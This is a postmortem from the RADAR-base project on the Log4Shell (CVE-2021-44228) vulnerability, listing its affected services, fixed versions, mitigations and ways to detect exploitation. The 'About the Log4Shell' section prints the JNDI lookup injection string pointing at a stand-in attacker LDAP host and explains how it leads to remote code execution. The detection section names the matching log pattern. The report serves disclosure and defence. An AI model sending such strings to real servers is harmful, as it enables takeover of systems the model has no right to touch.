Log4Shell (CVE-2021-44228) Zero-day vulnerability effect on RADAR-base report
Postmortem summary
Postmortem owner | @Nivethika Mahasivam @Joris Borgdorff |
---|---|
Reviewers | @Amos Folarin @Pauline C @Yatharth Ranjan |
Incident | Log4j is an open source logging library written in Java that was developed by the Apache Software Foundation. The RADAR-base platform has few micro services which use the vulnerable dependency. Following the recommended mitigations, we request our users to upgrade to the latest versions mentioned below and/or to disable JNDI lookups in any Java based applications. |
Severity | High |
Probability | High |
Affected services |
|
Resolution | Upgrade to fixed versions listed below |
Executive summary
Log4j is an open source logging library written in Java that was developed by the Apache Software Foundation. The RADAR-base platform has few micro services which use the vulnerable dependency. Following the recommended mitigations, we request our users to upgrade to the latest versions mentioned below and/or to disable JNDI lookups in any Java based applications.
Postmortem report
1. About the Log4Shell
An exploit listed as CVE-2021-44228 was made public on December 9, 2021. The exploit is simple, easy to trigger, and can be used to perform remote code execution (RCE) in vulnerable systems, which could allow an attacker to gain full control of them. All an attacker has to do is get the affected app to log a special string.
The vulnerability is triggered by a simple string sent to a vulnerable server:
${jndi:ldap://example.com/a}
When the vulnerable application logs the string it triggers a lookup to an attacker-controlled remote LDAP server (http://example.com in our scenario). The response from the malicious server contains a path to a remote Java class file that’s injected into the server process. Attackers can execute commands with the same level of privilege as the application that uses the logging library.
2. Vulnerability description
Date of discovery: 2021-12-13
Summary: The RADAR-base platform has a number of back-end applications which use the vulnerable dependency. It is highly unlikely to successfully trigger such a string on a vulnerable service since it is protected by authorized tokens and often the services don’t log input from the internet as is.
If an attacker manages to send a compromising string to the vulnerable server and the string gets logged on the vulnerable server, the attacker can then serialize data available to the vulnerable server. In general, RADAR-base does not store personally identifiable information (PII). The probability of this happening is hard to assess. It is only possible to get access to PII if the attacker gets hold of RADAR-base application and an external system that stores PII (e.g. RedCap, the server application being based on PHP rather than Java and so is not vulnerable to the same exploit) or PII is stored in RADAR-base in other forms (e.g. as metadata).
Discovery: Since the CVE-2021-44228 was made public on December 9, 2021, we investigated for possible vulnerabilities in the platform components. We have identified aforementioned components which use the vulnerable dependency, proposed and applied recommended countermeasures.
Method of discovery: We investigated all Java based applications that can be accessible via the internet (e.g. REST-Ful back-end services) and investigated if the vulnerable dependency (log4j-core:2.0 -2.14.1) is used at runtime.
For external services used in RADAR-base, we investigated if any of the Java based components are officially reported as vulnerable.
Fix: Updated log4j dependencies to 2.16.0.
2.1 Affected services and versions
Services developed within RADAR-base
Name of the service | Distribution | Affected version(s) | Fixed version |
radar-rest-sources-auth-backend | Both RADAR-Docker and RADAR-Kubernetes | 3.1.1 - 3.2.1 | 3.2.2 |
radar-gateway | Both RADAR-Docker and RADAR-Kubernetes | 0.5.6 - 0.5.7 | 0.5.8* 0.5.9 |
radar-pushendpoint | Not part of standard distribution yet | 0.1.1 - 0.2.0 | 0.2.1* |
radar-output-restructure | Both RADAR-Docker and RADAR-Kubernetes | 2.0.0 | 2.0.1 |
radar-schemas | Both RADAR-Docker and RADAR-Kubernetes | 0.7.0 - 0.7.4 | 0.7.5 |
*Partial resolution, updated log4j to 2.15.0.
External services used in RADAR-base
Name of the service | Distribution | Affected version(s) | Fixed version |
Graylog | RADAR-Kubernetes only |
| |
Elastic search | RADAR-Kubernetes only | ElasticSearch 5 | 5.6.16, 6.8.21, 7.16. |
3. Countermeasures
RADAR-base maintainers are upgrading the log4j2 to 2.15.0/2.16.0.
All RADAR-base administrators should upgrade their server with suggested versions and apply this environment variable to all applications that use Java to be on the safe side.
`LOG4J_FORMAT_MSG_NO_LOOKUPS=true`
Each admin must evaluate for itself whether their installation setup may have unintentionally leaked PII and decide whether and how users should be informed.
4. Exploitation detection
A set of processes have been documented for identifying potential cases of attempted exploitation; these are based on identifying existing log4j usage and scanning logs for variations of the "${jndi:ldap:" string.
https://www.trustedsec.com/blog/log4j-playbook/#_Exploitation_Detection
Log4j RCE CVE-2021-44228 Exploitation Detection